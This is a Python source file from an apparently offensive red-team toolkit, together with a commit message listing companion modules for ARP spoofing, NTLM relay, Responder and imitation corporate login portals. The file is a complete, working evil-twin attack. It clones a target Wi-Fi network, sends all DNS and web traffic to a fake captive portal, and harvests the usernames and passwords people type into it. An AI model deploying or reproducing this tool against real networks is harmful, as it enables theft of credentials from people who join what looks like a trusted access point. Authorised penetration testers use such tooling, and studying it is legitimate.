Files
bigbrother/modules/active/evil_twin.py
T
n0mad1k ba5143b560 Phase 4: Active modules, templates, and operator scripts
Active modules (9 files in modules/active/):
- bettercap_mgr: Central bettercap orchestrator with REST API health
  monitoring, event stream parsing, crash recovery with corrective
  gratuitous ARPs, caplet management, and process disguise
- arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings
- dns_poison: DNS poisoning with zone template loading support
- dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection
- evil_twin: hostapd-based rogue AP with captive portal and dnsmasq,
  iptables redirect, credential capture via HTTP POST handler
- ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse
- responder_mgr: Responder subprocess manager with hash file monitoring,
  NTLMv1/v2 parsing, session log scanning, relay target coordination
- mitmproxy_mgr: Transparent proxy with addon scripts, tier checking
  (OPi Zero 3+ only), iptables setup, credential/token extraction
- ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP,
  LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS

Templates (9 files):
- 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN
  (self-contained HTML with inline CSS, realistic login forms)
- 2 DNS zones: redirect-all and selective Jinja2 template
- 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates
- 1 Responder.conf Jinja2 template with protocol toggles

Operator scripts (6 files in scripts/operator/):
- pull_data.sh: rsync structured data over WireGuard/Tailscale
- extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction
- extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert
- extract_emails.sh: SMTP email extraction with attachment detection
- crack_hashes.sh: Export creds to hashcat format, optional auto-crack
- generate_report.py: SQLite-to-Markdown/HTML engagement report generator
2026-03-18 13:48:11 -04:00

554 lines
20 KiB
Python

#!/usr/bin/env python3
"""Evil Twin AP module — hostapd-based rogue access point with captive portal.
Creates a wireless access point matching a target SSID, combined with
a captive portal served via a lightweight HTTP server. dnsmasq provides
DHCP and DNS for connected clients, redirecting all DNS to the portal.
OPSEC: Run wireless_intel module for 2-hour observation before activation
to detect WIDS/WIPS and understand target AP parameters.
Resources: ~30MB RAM, ~5% CPU
"""
import http.server
import logging
import os
import signal
import socketserver
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.active.evil_twin")
# Default dnsmasq config for captive portal
DNSMASQ_CONF_TEMPLATE = """interface={iface}
dhcp-range={dhcp_start},{dhcp_end},255.255.255.0,12h
dhcp-option=3,{gateway}
dhcp-option=6,{gateway}
address=/#/{gateway}
no-resolv
log-queries
log-facility=/tmp/bb-dnsmasq.log
"""
class CaptivePortalHandler(http.server.SimpleHTTPRequestHandler):
"""HTTP handler for the captive portal.
Serves the portal HTML for GET requests and captures POST data
(credentials) from login forms.
"""
portal_html = ""
credential_callback = None
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(self.portal_html.encode("utf-8"))
def do_POST(self):
content_length = int(self.headers.get("Content-Length", 0))
post_data = self.rfile.read(content_length).decode("utf-8", errors="replace")
if self.credential_callback:
self.credential_callback(self.client_address[0], post_data)
# Redirect to a "success" page after capture
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
success_html = (
"<html><body><h2>Connecting...</h2>"
"<p>Please wait while we verify your credentials.</p>"
"<script>setTimeout(function(){window.location='/'},5000);</script>"
"</body></html>"
)
self.wfile.write(success_html.encode("utf-8"))
def log_message(self, format, *args):
"""Suppress default HTTP logging to avoid console noise."""
pass
class EvilTwin(BaseModule):
"""Evil Twin AP with captive portal credential harvesting.
Creates a rogue AP matching a target SSID using hostapd, serves a
captive portal, and captures credentials from connecting clients.
Dependencies:
- hostapd (system package)
- dnsmasq (system package)
- Wireless interface capable of AP mode
Configuration:
wifi_iface: Wireless interface for AP mode (e.g., "wlan0")
portal_dir: Path to captive portal HTML templates
"""
name = "evil_twin"
module_type = "active"
priority = 200
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._hostapd_proc: Optional[subprocess.Popen] = None
self._dnsmasq_proc: Optional[subprocess.Popen] = None
self._portal_thread: Optional[threading.Thread] = None
self._portal_server: Optional[socketserver.TCPServer] = None
self._wifi_iface = config.get("wifi_iface", "wlan0")
self._ap_active = False
self._ssid: Optional[str] = None
self._channel = 6
self._portal_template: Optional[str] = None
self._clients: list = []
self._clients_lock = threading.Lock()
self._captured_creds: list = []
self._creds_lock = threading.Lock()
self._portal_port = config.get("portal_port", 80)
self._gateway_ip = config.get("ap_gateway", "10.0.0.1")
self._dhcp_start = config.get("dhcp_start", "10.0.0.10")
self._dhcp_end = config.get("dhcp_end", "10.0.0.250")
self._template_dir = config.get(
"portal_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "captive_portals"),
)
self._hostapd_template_dir = config.get(
"hostapd_template_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "hostapd"),
)
self._tmp_dir = "/tmp/bb-evil-twin"
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
Path(self._tmp_dir).mkdir(parents=True, exist_ok=True)
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("EvilTwin module started (ready for AP creation)")
def stop(self) -> None:
if not self._running:
return
if self._ap_active:
self.stop_ap()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("EvilTwin module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"ap_active": self._ap_active,
"ssid": self._ssid,
"channel": self._channel,
"interface": self._wifi_iface,
"client_count": len(self._clients),
"captured_creds": len(self._captured_creds),
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "wifi_iface" in config:
self._wifi_iface = config["wifi_iface"]
if "portal_port" in config:
self._portal_port = config["portal_port"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def create_ap(self, ssid: str, channel: int = 6,
portal_template: str = "corporate_login.html") -> bool:
"""Create evil twin AP with captive portal.
Args:
ssid: Target SSID to clone.
channel: WiFi channel (default 6).
portal_template: Filename of HTML portal template.
Returns:
True if AP was created successfully.
"""
if not self._running:
logger.error("EvilTwin not started")
return False
if self._ap_active:
logger.warning("AP already active — stop it first")
return False
self._ssid = ssid
self._channel = channel
self._portal_template = portal_template
# Write hostapd config
hostapd_conf = self._generate_hostapd_config(ssid, channel)
hostapd_conf_path = os.path.join(self._tmp_dir, "hostapd.conf")
with open(hostapd_conf_path, "w") as f:
f.write(hostapd_conf)
# Configure wireless interface
if not self._setup_interface():
return False
# Start hostapd
if not self._start_hostapd(hostapd_conf_path):
self._teardown_interface()
return False
# Write and start dnsmasq
dnsmasq_conf = DNSMASQ_CONF_TEMPLATE.format(
iface=self._wifi_iface,
dhcp_start=self._dhcp_start,
dhcp_end=self._dhcp_end,
gateway=self._gateway_ip,
)
dnsmasq_conf_path = os.path.join(self._tmp_dir, "dnsmasq.conf")
with open(dnsmasq_conf_path, "w") as f:
f.write(dnsmasq_conf)
if not self._start_dnsmasq(dnsmasq_conf_path):
self._stop_hostapd()
self._teardown_interface()
return False
# Configure iptables for captive portal redirect
self._setup_iptables()
# Start captive portal HTTP server
self._start_portal(portal_template)
self._ap_active = True
self.state.set(self.name, "ssid", ssid)
self.state.set(self.name, "channel", str(channel))
logger.info("Evil Twin AP active: SSID=%s, ch=%d, portal=%s",
ssid, channel, portal_template)
return True
def stop_ap(self) -> bool:
"""Stop the evil twin AP and clean up.
Returns:
True if AP was stopped successfully.
"""
logger.info("Stopping Evil Twin AP...")
# Stop portal server
self._stop_portal()
# Remove iptables rules
self._teardown_iptables()
# Stop dnsmasq
self._stop_dnsmasq()
# Stop hostapd
self._stop_hostapd()
# Restore interface
self._teardown_interface()
self._ap_active = False
self._ssid = None
self.state.set(self.name, "ssid", "")
logger.info("Evil Twin AP stopped")
return True
def get_clients(self) -> list:
"""Return list of currently connected clients.
Returns:
List of dicts with client MAC and IP.
"""
# Parse dnsmasq lease file for connected clients
lease_file = "/tmp/bb-dnsmasq.leases"
clients = []
if os.path.isfile(lease_file):
try:
with open(lease_file, "r") as f:
for line in f:
parts = line.strip().split()
if len(parts) >= 4:
clients.append({
"mac": parts[1],
"ip": parts[2],
"hostname": parts[3] if parts[3] != "*" else "",
})
except Exception:
pass
with self._clients_lock:
self._clients = clients
return clients
# ------------------------------------------------------------------
# hostapd management
# ------------------------------------------------------------------
def _generate_hostapd_config(self, ssid: str, channel: int) -> str:
"""Generate hostapd config for open AP."""
return (
f"interface={self._wifi_iface}\n"
f"driver=nl80211\n"
f"ssid={ssid}\n"
f"hw_mode=g\n"
f"channel={channel}\n"
f"wmm_enabled=0\n"
f"macaddr_acl=0\n"
f"auth_algs=1\n"
f"ignore_broadcast_ssid=0\n"
f"wpa=0\n"
)
def _start_hostapd(self, conf_path: str) -> bool:
try:
self._hostapd_proc = subprocess.Popen(
["hostapd", conf_path],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(2) # Wait for hostapd to initialize
if self._hostapd_proc.poll() is not None:
stderr = self._hostapd_proc.stderr.read().decode(errors="replace")
logger.error("hostapd failed to start: %s", stderr)
return False
logger.info("hostapd started (pid=%d)", self._hostapd_proc.pid)
return True
except FileNotFoundError:
logger.error("hostapd not found — install with: apt install hostapd")
return False
except Exception as e:
logger.error("Failed to start hostapd: %s", e)
return False
def _stop_hostapd(self) -> None:
if self._hostapd_proc and self._hostapd_proc.poll() is None:
self._hostapd_proc.terminate()
try:
self._hostapd_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._hostapd_proc.kill()
self._hostapd_proc = None
# ------------------------------------------------------------------
# dnsmasq management
# ------------------------------------------------------------------
def _start_dnsmasq(self, conf_path: str) -> bool:
try:
self._dnsmasq_proc = subprocess.Popen(
[
"dnsmasq", "-C", conf_path,
"--no-daemon",
"--dhcp-leasefile=/tmp/bb-dnsmasq.leases",
],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(1)
if self._dnsmasq_proc.poll() is not None:
stderr = self._dnsmasq_proc.stderr.read().decode(errors="replace")
logger.error("dnsmasq failed to start: %s", stderr)
return False
logger.info("dnsmasq started (pid=%d)", self._dnsmasq_proc.pid)
return True
except FileNotFoundError:
logger.error("dnsmasq not found — install with: apt install dnsmasq")
return False
except Exception as e:
logger.error("Failed to start dnsmasq: %s", e)
return False
def _stop_dnsmasq(self) -> None:
if self._dnsmasq_proc and self._dnsmasq_proc.poll() is None:
self._dnsmasq_proc.terminate()
try:
self._dnsmasq_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._dnsmasq_proc.kill()
self._dnsmasq_proc = None
# ------------------------------------------------------------------
# Interface management
# ------------------------------------------------------------------
def _setup_interface(self) -> bool:
"""Configure wireless interface for AP mode."""
try:
# Kill interfering processes
subprocess.run(
["airmon-ng", "check", "kill"],
capture_output=True, timeout=10,
)
# Set interface up with IP
subprocess.run(
["ip", "addr", "flush", "dev", self._wifi_iface],
capture_output=True, timeout=5,
)
subprocess.run(
["ip", "addr", "add", f"{self._gateway_ip}/24", "dev", self._wifi_iface],
capture_output=True, timeout=5,
)
subprocess.run(
["ip", "link", "set", self._wifi_iface, "up"],
capture_output=True, timeout=5,
)
return True
except Exception:
logger.exception("Failed to configure wireless interface")
return False
def _teardown_interface(self) -> None:
"""Restore wireless interface to managed mode."""
try:
subprocess.run(
["ip", "addr", "flush", "dev", self._wifi_iface],
capture_output=True, timeout=5,
)
except Exception:
pass
# ------------------------------------------------------------------
# iptables for captive portal
# ------------------------------------------------------------------
def _setup_iptables(self) -> None:
"""Set up iptables to redirect HTTP traffic to the captive portal."""
rules = [
# Enable NAT
["iptables", "-t", "nat", "-A", "POSTROUTING", "-o", self._wifi_iface,
"-j", "MASQUERADE"],
# Redirect HTTP to portal
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
# Redirect HTTPS to portal (for captive portal detection)
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
# Enable IP forwarding
try:
with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
f.write("1")
except Exception:
pass
def _teardown_iptables(self) -> None:
"""Remove captive portal iptables rules."""
rules = [
["iptables", "-t", "nat", "-D", "POSTROUTING", "-o", self._wifi_iface,
"-j", "MASQUERADE"],
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
pass
# ------------------------------------------------------------------
# Captive portal HTTP server
# ------------------------------------------------------------------
def _start_portal(self, template_name: str) -> None:
"""Start the captive portal HTTP server."""
portal_path = os.path.join(self._template_dir, template_name)
if os.path.isfile(portal_path):
with open(portal_path, "r") as f:
CaptivePortalHandler.portal_html = f.read()
else:
logger.warning("Portal template not found: %s — using default", portal_path)
CaptivePortalHandler.portal_html = (
"<html><body><h1>Welcome</h1>"
"<form method='POST'>"
"<input name='username' placeholder='Username'><br>"
"<input name='password' type='password' placeholder='Password'><br>"
"<button type='submit'>Sign In</button>"
"</form></body></html>"
)
CaptivePortalHandler.credential_callback = self._on_credential_captured
self._portal_server = socketserver.TCPServer(
("0.0.0.0", self._portal_port), CaptivePortalHandler
)
self._portal_server.allow_reuse_address = True
self._portal_thread = threading.Thread(
target=self._portal_server.serve_forever,
daemon=True,
name="bb-captive-portal",
)
self._portal_thread.start()
logger.info("Captive portal serving on port %d", self._portal_port)
def _stop_portal(self) -> None:
if self._portal_server:
self._portal_server.shutdown()
self._portal_server = None
def _on_credential_captured(self, client_ip: str, post_data: str) -> None:
"""Handle credential submission from captive portal."""
with self._creds_lock:
self._captured_creds.append({
"timestamp": time.time(),
"client_ip": client_ip,
"post_data": post_data,
})
# Parse form data for username/password
from urllib.parse import parse_qs
params = parse_qs(post_data)
username = params.get("username", params.get("email", [""]))[0] if params else ""
password = params.get("password", params.get("pass", [""]))[0] if params else ""
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"source_ip": client_ip,
"target_service": f"captive_portal:{self._ssid}",
"username": username,
"credential_type": "cleartext",
"credential_value": password,
"raw_data": post_data,
},
source_module=self.name,
)
logger.info("Captive portal credential captured from %s", client_ip)